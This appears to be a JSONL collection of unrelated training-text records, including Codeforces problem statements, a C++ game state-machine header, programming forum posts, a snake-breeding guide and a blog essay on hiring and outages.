{"text": "Как известно, в теплую погоду многие жители крупных городов пользуются сервисами городского велопроката. Вот и Аркадий сегодня будет добираться от школы до дома, используя городские велосипеды.\n\nШкола и дом находятся на одной прямой улице, кроме того, на той же улице есть n точек, где можно взять велосипед в прокат или сдать его. Первый велопрокат находится в точке x1 километров вдоль улицы, второй — в точке x2 и так далее, n-й велопрокат находится в точке xn. Школа Аркадия находится в точке x1 (то есть там же, где и первый велопрокат), а дом — в точке xn (то есть там же, где и n-й велопрокат). Известно, что xi < xi + 1 для всех 1 ≤ i < n.\n\nСогласно правилам пользования велопроката, Аркадий может брать велосипед в прокат только на ограниченное время, после этого он должен обязательно вернуть его в одной из точек велопроката, однако, он тут же может взять новый велосипед, и отсчет времени пойдет заново. Аркадий может брать не более одного велосипеда в прокат одновременно. Если Аркадий решает взять велосипед в какой-то точке проката, то он сдаёт тот велосипед, на котором он до него доехал, берёт ровно один новый велосипед и продолжает на нём своё движение.\n\nЗа отведенное время, независимо от выбранного велосипеда, Аркадий успевает проехать не больше k километров вдоль улицы.\n\nОпределите, сможет ли Аркадий доехать на велосипедах от школы до дома, и если да, то какое минимальное число раз ему необходимо будет взять велосипед в прокат, включая первый велосипед? Учтите, что Аркадий не намерен сегодня ходить пешком.", "source": "cpt_codeforces", "language": "en", "token_count": 405, "token_count_with_eod": 406, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/********************************************************************\n\tcreated:\t2015/03/12\n\tfilename: \tGameFSM.h\n\tauthor:\t\tCrazii\n\t\n\tpurpose:\tgame finite state machine\n*********************************************************************/\n#ifndef __Blade_GameFSM_h__\n#define __Blade_GameFSM_h__\n#include <Factory.h>\n#include <GameLibrary.h>\n\nnamespace Blade\n{\n\tclass BLADE_GAME_LIBRARY_API IGameState\n\t{\n\tpublic:\n\t\t//the initial state name of IGameState factory\n\t\t//users must register at least one subclass\n\t\t//and must register one sub class use this name\n\t\tstatic const TString INIT_STATE;\n\tpublic:\n\t\tvirtual ~IGameState() {}\n\n\t\t/** @brief get the shown name of the state */\n\t\tvirtual const TString& getName() const = 0;\n\n\t\t/** @brief  */\n\t\tvirtual void\tinitialize() = 0;\n\n\t\t/** @brief  */\n\t\tvirtual void\tshutdown() = 0;\n\n\t\t/** @brief  */\n\t\tvirtual void\trun() = 0;\n\n\t\t/** @brief  */\n\t\tvirtual void\tupdate() = 0;\n\n\t\t/** @brief  */\n\t\tvirtual void\tsyncUpdate() = 0;\n\t};//class IGameState\n\n\textern template class BLADE_GAME_LIBRARY_API Factory<IGameState>;\n\ttypedef Factory<IGameState> GameStateFactory;\n\n\tclass BLADE_GAME_LIBRARY_API GameFSM : public Allocatable\n\t{\n\tpublic:\n\t\tGameFSM();\n\t\t~GameFSM();\n\n\t\t/** @brief  */\n\t\tvoid initialize(const TString& state);\n\n\t\t/** @brief  */\n\t\tvoid shutdown();\n\n\t\t/** @brief called on framework's run phase */\n\t\tvoid run();\n\n\t\t/** @brief called on framework's update phase */\n\t\tvoid update();\n\n\t\t/** @brief  */\n\t\tvoid syncUpdate();\n\n\t\t/** @brief  */\n\t\tvoid changeState(const TString& state);\n\n\t\t/** @brief  */\n\t\tinline IGameState* getCurrentState() const\n\t\t{\n\t\t\treturn mCurState;\n\t\t}\n\n\tprotected:\n\t\tIGameState*\tmCurState;\n\t};//class GameFSM\n\t\n}//namespace Blade\n\n\n#endif // __Blade_GameFSM_h__", "source": "cpt_stack_code", "language": "code", "token_count": 509, "token_count_with_eod": 510, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "> Ususally the most important information is the first and last step\n> The TopHat run should be called\n> TopHat on SOLiD 24A\n> The alignment stats should be\n> SAM/BAM Summary Metrics of Solid 24A\n> With the rest of the tools in the chain identified in the \"more information\"\n> This would also give graph generating tools a fighting chance to present\n> something useful in any graphs generated.\n> GC Bias Plot of Solid 24A could have a title of Solid 24A instead of\n> What do you think of this first-last model?\nThis model breaks down during experimentation. E.g. let's say three different\nmethods for trimming a FastQ dataset are tried before mapping with Bowtie.\nCurrently, the Bowtie runs are named differently b/c each trimmed dataset is a\nunique input. Using first-last model, all datasets are named the same and it is\nnot possible to differentiate b/t them without looking at the inputs, which\nrequires clicking on the rerun/info button and finding the input(s). The\ncurrent approach used by Galaxy lists the inputs in the dataset title to avoid\nDatasets with the same name becomes more problematic as more steps are added\nb/t first and last because, while they have the same name, the steps taken to\nproduce them may be very different.\nThe first-last model could be nice for workflows, though, perhaps as an\nextension of the \"rename dataset\" actions or a kind of global \"rename dataset\"\nPlease keep all replies on the list by using \"reply all\"\nin your mail client. To manage your subscriptions to this\nand other Galaxy lists, please use the interface at:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 358, "token_count_with_eod": 359, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I prefer OpenCSV for CSV parsing in Java. That library also supports parsing of tab delimited files, here's how.\nPHP function fputcsv() to export database to CSV\nAnimated GIF's have not been a very popular means in Email marketing probably because they... more »\nFor many web applications, slow performance can be as bad as no performance. Customers get... more »\nReact, by Facebook, is a very nice library for creating user interfaces. The only problem is... more »", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 100, "token_count_with_eod": 101, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Current version 0f Dooble (1.47) doesn't yet support some website especially the complex one. The websites that I tried so far are trello.com, whatbrowser.org.\nwhatbrowser.org doesn't recognize Dooble because Dooble doesn't advertise its presence in user agent strings.\nPerhaps later versions of WebKit will provide more support.\nThis is not a bug. Dooble doesn't advertise itself.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 88, "token_count_with_eod": 89, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Sep 04, 2008 01:47 AM|Benson Yu - MSFT|LINK\nThe “'System.Web.Extensions” is the Strong Named assembly that should be installed in GAC, the file not found issue should not caused by the relative path problem of the sub directory. In my opinion, the problem is the AJAX 1.0 extension is not installed\non the server.\nTo solve this issue, we can remove the “1.0.61025.0” version “System.Web.Extensions” assembly from the “assemblies” section. As you said, after doing that, the LINQ assembly not found issue appears. For this issue, I would recommend checking if .NET Framework\n3.5 installed on the Server.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Currently the home page loads without the CSS files.\nThe code is in home.php and it uses\n<?= $this->Html->css(['normalize.min', 'milligram.min', 'cake', 'home']) ?>\nto access its css files.\nMy browser shows that, CakePHP is trying to find the file in “/pkm/css/normalize.min.css” (Project name is pkm).\nWhereas, it should be trying to access “/pkm/webroot/css/normalize.min.css”.\nI tried to retrace but that has been quite difficult,\nPlease be in mind that I’d like to keep the file in the webroot file if possible.\n[“base”:protected]=> string(4) “/pkm” [“webroot”:protected]=> string(5) “/pkm/”\nwebroot folder is actually the top level folder on the web-page. So say you put that folder itself\nhello.html with the text\nHello, then going to your website www.blah.com/hello.html will show that “Hello”. Also your .htaccess for the top-level of your webpage goes into webroot.\nThe root folder of the app is one level above the public www folder. Therefore your css, js & font etc folders go within the webroot one.\nThanks, I’m not sure if I understood you correctly but the CSS files were always in the webroot folder\nI hope what I’m saying is correct, but your browser should be completely unaware of the name of your project - in that its a level above what the browser can see. So if its saying its trying to load the css from a folder that includes the path which has the name of your app then maybe the webroot folder isn’t configured correctly. In which case check your\ndefine('WWW_ROOT', ROOT . DS . 'webroot' . DS); .\nOtherwise bake a brand new test app and see if its pulling in milligram.min.css etc; and if so run WinMerge (or equivalent) to spot the differences in configurations.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 424, "token_count_with_eod": 425, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Bull-Pine-Gopher Snakes Forum\nPacific gopher snake breeding basics?\nYeah I know I’m asking a lot of questions here, I just found this site today so I’m getting it all out! ^^;\nI’m looking at gopher snakes for sale and there’s this one guy selling Captive Bred & Born 07’ amelanistic pacific gophers. He’s got a deal on a female/male pair and says that they’re ready to cool/breed this year as a high color pit project. They look very healthy in pictures, of a good weight.\nIn my opinion, they’re still a bit pricy. He’s selling the pair for $400. What’s your opinion on how much a deal like that should cost? I want to know if I’d be getting ripped off or not.\nI’ve never bred before and I’m still looking around for research. If someone could be so polite and tell me....everything? x) I’m serious though, any and all hints/tips/stories/experiences/links to informative websites etc etc are really appreciated! Even things you think would be common sense, I just want to make sure I don’t miss anything at all!\nI’ve got the basic idea, but nothing specific on gophers. Are they an easy snake to breed when compared to others or is there another you’d recommend for a first time breeder? I’m hoping to use them as my first kinda as \"practice\" for when I breed my woma python in two or three years...\nCould you give me a list of things I would need?\nTwo separate completely furnished enclosures for each parent right? Do I need a third for them to mate/lay eggs in or does that just happen in the female’s tank? Also what kind of incubator do I need and what is needed to warm it?\nTHANKS GUYS! ANY HELP IS APPRECIATED!\nMessage To: Just Curious~ In reference to Message Id: 2203702\nPacific gopher snake breeding basics?\nBy; Del Alspaw\nKern Reptile Research Center\nPituophis “pit-chew-o-fuss” is a genus of North American snake species that has many common names. It is called: Bull snake, Gopher snake, or Pine snake commonly through out America. I began working with pituophis when I decided to take up captive breeding. I wanted a species that was hearty and inexpensive. As I began to work with these animals I became more and more fascinated with this remarkable species. They display an awareness of the surroundings they live in that is uncommon among snakes.\nI have discovered that pituophis is one of the few species left that still maintains clean lineage back to it’s wild ancestors. Most color morphs as well as what is known as “local specific” specimens can be traced back to their wild beginnings. I have also learned that true “pituophis people” are very particular about where and who they acquire animals from. I am breeder of both local specific and color morph specimens. Let me put you in the correct frame of mind by giving you the following examples and information before we get into the breeding side of things. Local specific specimens have pin point data as to their location in nature. This is a sort of premium status among collectors giving them a greater value in their eyes. Some color morphs pituophis command a lower price than some local specific types due to the fact that some breeders have bred a particular morph trait into their breeding colonies. By taking an albino or normal phase bull snake from Colorado and breeding it with a normal looking bull snake from Texas you have created an unfavorable animal by most pituophis peoples standards. However if you have an albino or normal phase Colorado bull snake and you breed it with a normal looking Colorado bull thus introducing the albino morph into that line but maintaining the locality purity, you have a more acceptable lineage. Now let’s say for the sake of example you breed a Pacific gopher snake (p. c. catenifer) with a Northern pine snake (p. m. melanoleucus) then you have committed a cardinal sin. Your reputation will be flawed in the eyes of most pituophis people and your live stock will be almost worthless. My advice is to stick with known lines and morphs that come from reputable breeders.\nLet’s cover some legal aspects of the hobby. Most states require some form of permits for owning, breeding, collecting, and/or selling of reptiles native to that state. Other states require permits for any type of reptile ownership, commerce or breeding regardless if it is native or not. So please check you local laws before starting a project because it will save time and money in the long run. A plus to having permits for native species is that is also adds a pedigree status to the animal because now it’s capture data is listed in state records. Most people with permits have excellent husbandry habits since that state may have surprise inspections on the breeder and require yearly records to be submitted to the state. In California you must have a valid state-fishing license to hunt native reptiles plus an additional permit if you plan to captive produce natives for commercial and/or non-commercial purposes. I also can’t stress enough the importance of keeping records even if they are not required by your state. Keep track of everything about your animals, for example some of the items I regularly track are age, origin, history, any hidden traits such as het. for albino etc, feeding dates, feed items, shed dates, growth rates, breeding dates, brumation dates, offspring production and health problems and treatments.\nAge and size\nLet’s say you just got your hands on a cool pair of hatchling bull snakes. The female needs to be a minimum of three years old before breeding should be allowed. With some pituophis it is more of a size issue than age. Like with Black pines (p. m. lodingi) their eggs are so large that it is sometimes better to wait an extra year in order to get the females size up to par. Snakes that are to small or “power fed” in order to reproduce faster often become “egg bound” add this to the several other known complications and this can be very costly to you and the snake. A good rule of thumb is make sure your female is past the three-year mark, and adult in size. Some males will breed in two years though with very little side effects. Males will also be smaller most of the time. Pituophis will reproduce most of their lives. I have heard of breeders in excess of twenty years of age.\nFeeding and diet\nI have discovered that most pituophis have a very good appetite and will eat live or thawed food items without much concern on the owner’s part. The question what to feed your growing and/or breeder pituophis. I maintain mine on a primary diet of rodents. I feed them mice or rats that are about twice the size as the snake’s head. Large snakes get two or three of these and smaller only gets one. I also supplement them with baby chicks every so often just for a change plus pituophis seem to relish them. I have found that baby chicks can stimulate their feeding reactions when they don’t seem to be interested in rodents due to pre or post brumation cycle etc. It should be noted that a diet of only rodents is an acceptable diet, where a diet consisting only of chicks is not, chicks should be used only as a supplement. Also steer clear of tap water; try to use bottled or filtered water to avoid all the chemicals found in municipal water supplies. When feeding “captive produced” animals always remember that they have not been exposed to the same elements as animals in nature so it is not recommended to feed your captive a wild caught lizards, birds or rodents.\nHousing of breeding stock\nPituophis do require a good amount of room in their enclosures. My males do fine in single level cages that are about 36 inches long x 18 inches wide x 6 inches tall. The females are in cages that are “bi-level”. This works out well because I use the bottom level as the “nest box”. These cages are about 24 inches square, the bottom level is 6 inches tall and the top level is about 14 inches tall. There is a 2 ½ diameter piece of p.v.c. pipe that connects two levels and allows the snake to crawl to either level with ease. I place the water dish and food items in the top level and the snake comes up from the bottom and feeds/drinks almost replicating nature in some fashion. The bedding we use is a sterilized hardwood chip product that we prefer over the usual aspen bedding found in most pet stores. However the aspen shavings, newspaper, and paper towel also work well.\nI prefer the term brumation to hibernation because pituophis don’t actually hibernate. They stay somewhat active during their winter recluse. I find that it’s more of the light cycle they react to than temps. so I keep my pituophis in total darkness during their whole brumation cycle. Our brumation chamber is basically a large wood crate lined with 1 inch styra-foam that has a heat element in set up to come on when the temp dips below 46 degrees. We place our breeders in plastic containers with ventilation holes and a small dish of water. To save space and give them the feeling of a more natural like den you can put several males in one container and females into another. Also place an extra amount of bedding in the container, as the snakes will like to burrow into it. We stack all these containers in the chamber close it up, only opening it to check the snakes every 3 weeks. To actually start the brumation cycle I drop their temp a few degrees each day. I don’t allow their temp to drop lower than 46 degrees, 51 being ideal. I keep them down in this range for ten to eleven weeks. When I bring them out I gently increase their temps a few degrees each day until they are back to about 73 to 78 degrees.\nNow that you have your pits up to normal 78-degree temp ranges let’s start feeding them. I feed mine every 6 to 10 days feeding the males less often than the females. Once you have brought them out of brumation feed them regularly until they begin their post brumation shed cycle. After the post brumation shed, put the female and male together. I keep them together for 3 days then I separate them, feed them. After 3 days of digesting I place them back together for another 3 days and repeat the process. I alternate witch cage I place the breeders in, sometimes the male goes in her cage and sometimes I do it the other way. The male may stop feeding until after the female sheds again thus ending the breeding season. Once the breeding season ends and the male starts eating again be sure to get good amount of weight back on in time for the next brumation cycle.\nPre-egg laying care\nThe female should be fed every 4 to 6 days after the breeding season ends. Once you know she is gravid then as time to lay grows near cut down on the size of the food slightly but not the frequency. She should begin to show signs of egg production shortly after she sheds. As she begins to swell try not to disturb her very much, keep her warm, clean and calm. Once she starts hanging out in the nest box check check here every day for eggs. The ball park time for egg laying is 30 to 45 days after copulation. Try to provide the female a warm spot on the floor of about 85 degrees to aid in her egg development.\nNesting and egg laying\nAs I said earlier I use the lower level of my cages to create a nest box for the female to lay her eggs in. The lower level is actually a kitty litter tray. Once I see the female begin to roam the cage as if she is looking for something I remove the bedding substrate and replace if with damp green moss that you can get from your gardening store. The female will almost immediately go into the box and begin to nest.\nI have found that green moss works much better than vermiculite as a nesting and incubation substrate. I take the moss and mist it until it is nice and damp but not dripping wet. I then place it in the nest box. Be sure to check every day or so and mist it if it seems dry. The female may not be very happy about all the misting so when the time draws near refrain from it. Within a few days the female will lay her clutch of eggs in the nest box. Once they have been laid you must move them to the incubator before the eggs dry out.\nI keep the eggs in plastic containers with 1/8-inch holes punched about every inch or around the top edge. I fill it with about an inch of damp (not dripping) green moss, place the eggs inside sitting basically in the same position as when laid, then cover them with about another inch of damp moss, and close the lid. If the eggs are stuck together DO NOT try to separate them! I have found that green moss has a much better fungicide action than does vermiculite type products. Moss also suspends the eggs with less substrate contact to the shell thus allowing more airflow around the egg. Eggs can die if placed in vermiculite that is to damp thus causing over absorption by the egg. I then place this container inside a larger plastic tub that has holes too. I fill this container with about an inch of water so to keep the humidity up in the egg container. Once I have the incubator all set up I place it all into a dark warm area that stays around 78 to 84 degrees most of the time. The eggs also seem to develop better with a bit of variation in the incubation temp. The warmer the temp the sooner the eggs will hatch so figuring the exact hatch date can be a challenge so I take the easy way out and stick with the 50 to 70 day rule.\nJohn Cherry – Cherryville Farms states; “We use a closed airtight box with a vermiculite/perlite mixture with the eggs half way down. The vermiculite/perlite is dampen to the point where when squeezed in the hand it clumps together, but no water runs out. Adding a little perlite to the mix at a ratio of 20% perlite will loosen the media. The box is opened every 5 days to check for moisture content, mold etc. The eggs are placed about an 1 ½” apart in the rubber maid sealed boxes. If moisture is needed spray distilled water on the sides of the box rather than on the eggs. We incubate at 82 – 84 degrees and do not use an incubator, rather we use a small open air (an old bathroom actually) room in our facility where we regulate the temp using a space heater on a thermostat. Using this technique we have had 98.64 % hatch in the last five years with over 11,700 animals hatched.”\nThese opinions only prove that there are several different ways to achieve the same results the trick is find what works best you and your area.\nThis article is intended for the beginning herpetologist/herpteculturist who is interested in captive breeding. I feel that pituophis are the perfect species beginners as well as the advanced herpetologist. Their attitude, size, and heartiness make them the ultimate pet as well as a breeding project. Keep good notes and records and you will begin to see patterns and cycles that are quite fascinating. Nothing is more rewarding as when you begin to see your own ideas, creations, and predictions come to pass. Get involved your local reptile club, zoo, etc. too and help inform and educate the public about these and all the other wonderful reptiles and how necessary they are for the survival of our planet.\nSpecial thanks to;\nTerry Parks, John Ginter, Bart Bruno, Terry Vandeventer, Gerry Salmon, Gary Ballam, Glen Fankhauser, Terry Lilley, Steve Weissman, John Cherry, John Meltzer, Mike Waters, KJ Lodrigue, and all the others.\nMessage To: Greatballzofire In reference to Message Id: 2203765\nPacific gopher snake breeding basics?\nTHANK YOU SO MUCH! That was very helpful! ^^", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3485, "token_count_with_eod": 3486, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Daniel has a string s, consisting of lowercase English letters and period signs (characters '.'). Let's define the operation of replacement as the following sequence of steps: find a substring \"..\" (two consecutive periods) in string s, of all occurrences of the substring let's choose the first one, and replace this substring with string \".\". In other words, during the replacement operation, the first two consecutive periods are replaced by one. If string s contains no two consecutive periods, then nothing happens.\n\nLet's define f(s) as the minimum number of operations of replacement to perform, so that the string does not have any two consecutive periods left.\n\nYou need to process m queries, the i-th results in that the character at position xi (1 ≤ xi ≤ n) of string s is assigned value ci. After each operation you have to calculate and output the value of f(s).\n\nHelp Daniel to process all queries.", "source": "cpt_codeforces", "language": "en", "token_count": 187, "token_count_with_eod": 188, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "5 Year Member\n- Nov 24, 2014\n- Location (City and/or State)\n- UK Sheffield\nI agree totally, there is always more than one way to achieve the same result.So far I don't recall mentioning Red-foot Nerd at any point in this thread. At least not in a negative way.\nBut in answer to your question yes, speaking in absolutes---saying that 'this is the only way to achieve natural looking captive raised tortoise' or 'you must follow my direction or your tortoises will look screwed up' and things like that, is misleading simply because such statements aren't true. It also puts an unnecessary fear into a new keepers head.\nMany, many keepers have achieved perfectly natural looking captive raised tortoises without following any specific care sheet directive--either Red-foot Nerd's or anyone elses. But I would quickly add that care sheets can be, and generally are beneficial.\nHowever there are certain areas that when someone shows exactly how they did it, it is comforting for the newbie.\nReds eat just about anything, the combinations of dietary method is quite daunting to the newbie. This aspect of redfoot keeping outways most other species regarding options. If I had a panda the diet would be spot on, it only eats bamboo.(I think)\nI've had my juvies for about 17months now, I thumbled through trying to work out what diet In what proportions is the best. Im finally set on a routine. Is it right, I don't know until I see the results in years to come.\nNow, if I had seen redfootnerds method on feeding which is quite specific in what and when to feed, it would have cut out a lot of experimenting on my part. I've no doubt at all that you or other experts have slightly different feeding methods.\nAll these different and correct methods of feeding would help a newbie immensely.\nJust a long list of ok foods is good, but does not help with quantities.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 422, "token_count_with_eod": 423, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Blazing fast CI with pytest-split and GitHub Actions (via) pytest-split is a neat looking variant on the pattern of splitting up a test suite to run different parts of it in parallel on different machines. It involves maintaining a periodically updated JSON file in the repo recording the average runtime of different tests, to enable them to be more fairly divided among test runners. Includes a recipe for running as a matrix in GitHub Actions.\n- Interesting ideas in Observable Framework - 3rd March 2024\n- Weeknotes: Getting ready for NICAR - 27th February 2024\n- The killer app of Gemini Pro 1.5 is video - 21st February 2024\n- Weeknotes: a Datasette release, an LLM release and a bunch of new plugins - 9th February 2024\n- LLM 0.13: The annotated release notes - 26th January 2024", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 202, "token_count_with_eod": 203, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I did a little experiment comparing C++ STL map with AWK associative array in counting word frequency of large text files. The result is astonishing: AWK associative array is about 6 times faster than the C++ code!\nAt first, I put my eyes on the C++ code that splits a line into words. I tried STL istringstream, C strtok_r, and a string splitting trick that I learned in Google. However, these choices do not affect the efficiency saliently.\nThen I realized the lesson I learned from parallel LDA (a machine learning method, which has been a key part of my research for over three years) — map is about 10 times slower than map. I found that this issue has been thoroughly explained by Lev Kochubeevsky, principle engineer at Netscape, in 2003. Unfortunately, seems no improvement to STL string emerged since then.\nOn the other hand, I highly suspect that AWK, an interpreted language, implements a trie-based data structure for maps with string-keys.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am trying to connect Apache Cassandra nodes into a ring. They are not Datastax versions, but Cassandra 1.2.8 from the Apache website. When trying to add one as the seed of the other I get following exception:\nUnable to find compaction strategy class 'com.datastax.bdp.hadoop.cfs.compaction.CFSCompactionStrategy'\nBefore that I change the \"listen_address\" and \"rpc_address\" to local IP address of each node. Next step I add one IP as a seed to another node. The nodes start up, an exception is printed but both nodes run fine until restart. After restarting either node the exception is printed and nodes do not run.\nThis is very strange - I do not have any DSE components.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Thank you for considering my question. It is a very simple question. But it is one I need to find the answer to for something I am working on.\nThe question is this:\nIs it conceivably, morally, imaginably POSSIBLE for there ever to be more primes from n to 2n than from 0 to n. Like, for example, could there be more primes from 18 to 36 than from 0 to 18 (of course, we know it's not true in this particular case, but I want to generalize it.)\nYes, it seems counter-intuitive to imagine that this would be the case. Yes, it smacks in the face of our immediate reason. But can it be PROVEN? HAS it been proven? And proven by whom?\nI couldn't for the life of me try to prove it myself.\nIt might involve assuming a zero derivative for pi(n), which might be logarithmic. But we know only that it's close to some logarithmic function n/(ln n). Not that it's in fact a logarithmic function itself (or DO we?).\nThis would be the last step in a very important theorem I am working on. Please keep in mind that I have no degree in anything and have no formal training in mathematics. So any gaping holes in my knowledge should be made understandable to you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 283, "token_count_with_eod": 284, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "14 hours (usually 2 days including breaks)\nThe Python programming language is becoming more and more popular among Matlab users due to its power and versatility as a data analysis tool as well as a general purpose language.\nThis instructor-led, live training (onsite or remote) is aimed at Matlab users who wish to explore and or transition to Python for data analytics and visualization.\nBy the end of this training, participants will be able to:\nFormat of the Course\nCourse Customization Options\nSetting up a Python Development Environment for Data Science\nThe Power of Matlab for Numerical Problem Solving\nPython Libraries and Packages for Numerical Problem Solving and Data Analysis\nHands-on Practice with Python Syntax\nImporting Data into Python\nConverting an Existing Matlab Application to Python\nCommon Pitfalls when Transitioning to Python\nCalling Matlab from within Python and Vice Versa\nPython Wrappers for Providing a Matlab-like Interface\nSummary and Conclusion\nTeaching style and ability of the trainer to overcome unforeseen obstacles and adopt to circumstances. Broad knowledge and experience of the trainer\nOverall good intro to Python. The format of using Jupyter notebook and live examples on the projector was good for following along with the exercises.\nWe are looking to expand our presence in Brazil!\nIf you are interested in running a high-tech, high-quality training and consulting business.Apply now!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 277, "token_count_with_eod": 278, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Monty Python's SPAMALOT\nThe Pinckney Players present SPAMALOT\nLovingly “ripped off” from the classic film comedy Monty Python and the Holy Grail, SPAMALOT tells the legendary tale of King Arthur and his Knights of the Round Table, and features a bevy of beautiful show girls, not to mention cows, killer rabbits and French people.\nTickets available March 11 at Busch’s Valuland or the Community Education Office in Pinckney and Brighton Tux Shop in Brighton. You can also reserve tickets now online at pinckneyplayers.com\nCreated by Pinckney13\n2130 Rte 36\nPinckney, MI 48169", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A positive integer is called composite if it can be represented as a product of two positive integers, both greater than $$$1$$$. For example, the following numbers are composite: $$$6$$$, $$$4$$$, $$$120$$$, $$$27$$$. The following numbers aren't: $$$1$$$, $$$2$$$, $$$3$$$, $$$17$$$, $$$97$$$.\n\nAlice is given a sequence of $$$n$$$ composite numbers $$$a_1,a_2,\\ldots,a_n$$$.\n\nShe wants to choose an integer $$$m \\le 11$$$ and color each element one of $$$m$$$ colors from $$$1$$$ to $$$m$$$ so that:\n\n- for each color from $$$1$$$ to $$$m$$$ there is at least one element of this color;\n- each element is colored and colored exactly one color;\n- the greatest common divisor of any two elements that are colored the same color is greater than $$$1$$$, i.e. $$$\\gcd(a_i, a_j)>1$$$ for each pair $$$i, j$$$ if these elements are colored the same color.\n\nNote that equal elements can be colored different colors — you just have to choose one of $$$m$$$ colors for each of the indices from $$$1$$$ to $$$n$$$.\n\nAlice showed already that if all $$$a_i \\le 1000$$$ then she can always solve the task by choosing some $$$m \\le 11$$$.\n\nHelp Alice to find the required coloring. Note that you don't have to minimize or maximize the number of colors, you just have to find the solution with some $$$m$$$ from $$$1$$$ to $$$11$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 353, "token_count_with_eod": 354, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "SQL 2016 – It Just Runs Faster Announcement\nSQL Server According to Bob\nJUNE 3, 2016\nSQL Server 2016 ‘It Just Runs Faster’ A bold statement that any SQL Server professional can stand behind with confidence. My development collogues and I are starting a regular blog series, outlining the vast range of scalability improvements, allowing SQL Server 2016 to run across a wide array of hardware configurations, faster and better than previous releases of SQL Server. Try SQL Server 2016 Today. SQL 2016 – It Just Runs Faster: DBCC Scales 7x Better.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 138, "token_count_with_eod": 139, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Some of my favorite insight on the topic comes from a post by John Allspaw. In the post, he states that in order to learn from a mistake without inhibition, there must be not only complete trust but also no fear of retribution. I take this view to heart and I'm a devoted defender of the concept.\nHowever, I feel like the view comes with a few provisos. There is possibly a greater philosophy at play in the question. What really got me thinking about this was one of the stories I heard at the conference. The story was about a site outage caused by a technician on the customer support team running a tool written by the dev team, which was known to have a very high risk of causing site outages. The technician had been trained in how to use the tool and, according to the story teller, knew full well the consequences of his actions. So, for the company it was a straightforward decision to fire him. ...Or was it?\nIf you read about human error, you learn that situations within a system and organization can foster human errors. This is often the first explanation of a failure induced by a human. In our investigation here, it's difficult to imagine any resident situation in the system or org which would have fostered a technician to *knowingly* induce an adverse outage of the application he was paid to support. So, that lead me next to consider that perhaps the technician felt running the script would have no connection to an outage. But again, having been fully trained in the consequence of the script, this felt unlikely. Perhaps a final explanation might be that the technician felt the risk of outage justified the outcome of running the tool. Maybe; but from the storyline, it didn't seem like that was a likely decision.\nSo, were the theories about human error just somehow inapplicable to this situation?\nThat's when I realized something about each of the questions. I realized that they were posited on the assumption that the technician was qualified for and satisfied with his job. I realized that if the technician didn't care about his job or hated his boss, then all of my thinking was flawed. All the explanations are based on the belief that the technician wants what is best for the company. If he had no thought for the success of the company, then it would make easy sense for him to take the shortest path to accomplishing an immediate goal despite negative side effects. So, rethinking the first question -- could an organizational, non-technical situation foster human errors? Yes, I believe so. A non-technical situation could certainly foster feelings of dissatisfaction or frustration resulting in a technician who didn't care about the outcome of running a tool that would solve his immediate problem, but potentially cause a site outage.\nExcellent! So, the key to success is maintaining an inspired work force, right? Partly, yes; but not exactly.\nFor the Workforce\nIf the company is fostering a disgruntled workplace, then the solution is straightforward: keep them happy and inspired. But, what if your employees are happy? How could the tech's actions be explained?\nThe next idea that occurred to me was perhaps it wasn't the organizational situation at all, but actually the employee himself. What if the employee was generally just a disgruntled or careless person? DevOps and other strong cultures are built upon trust, but that trust needs to be built on the prerequisite that you hire the right people. If poor hiring choices are made, the whole ecosystem breaks down.\nA Different Type of Outage\nAs it turns out, although hiring the right people is such an important task to do well, it's often underdone and rushed. And why? For the exact same reasons we end up with technical debt: urgency. If we've learned anything from technical debt, we know that we create it to solve an immediate problem, but that solution leaves us in a much worse long term situation. If we know this is true, then maybe we should treat firing an employee the same way we treat a site outage. Specifically, we should postmortem all the steps that lead up to hiring: the phone screen, the recruiter's notes, the interviews, the round-up, the closing. I think that if firing were treated as a much costlier action, then perhaps hiring would be conducted with a much higher bar. Ultimately, in the case of the fired technician, perhaps the fault lays more with the hiring manager for putting the tech in the situation to use the tool at all.\nSo, to bring it back to the original question: would you ever fire anyone who caused an outage? My answer is a lot more complicated now. I will continue to apply the concepts of human error and would never fire an employee only because of an outage. Would I fire an employee who consistently underperforms, is habitually unhappy and careless, costs more than he or she produces, continues to fail at personal performance improvement plans, and is uninterested in other roles within the company? Very possibly. Whatever the case, if an engineer is fired for any reason, I want to postmortem how we came to the situation, starting with the initial phone screen in the hiring process.\nWhat metrics can drive improvement?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1066, "token_count_with_eod": 1067, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
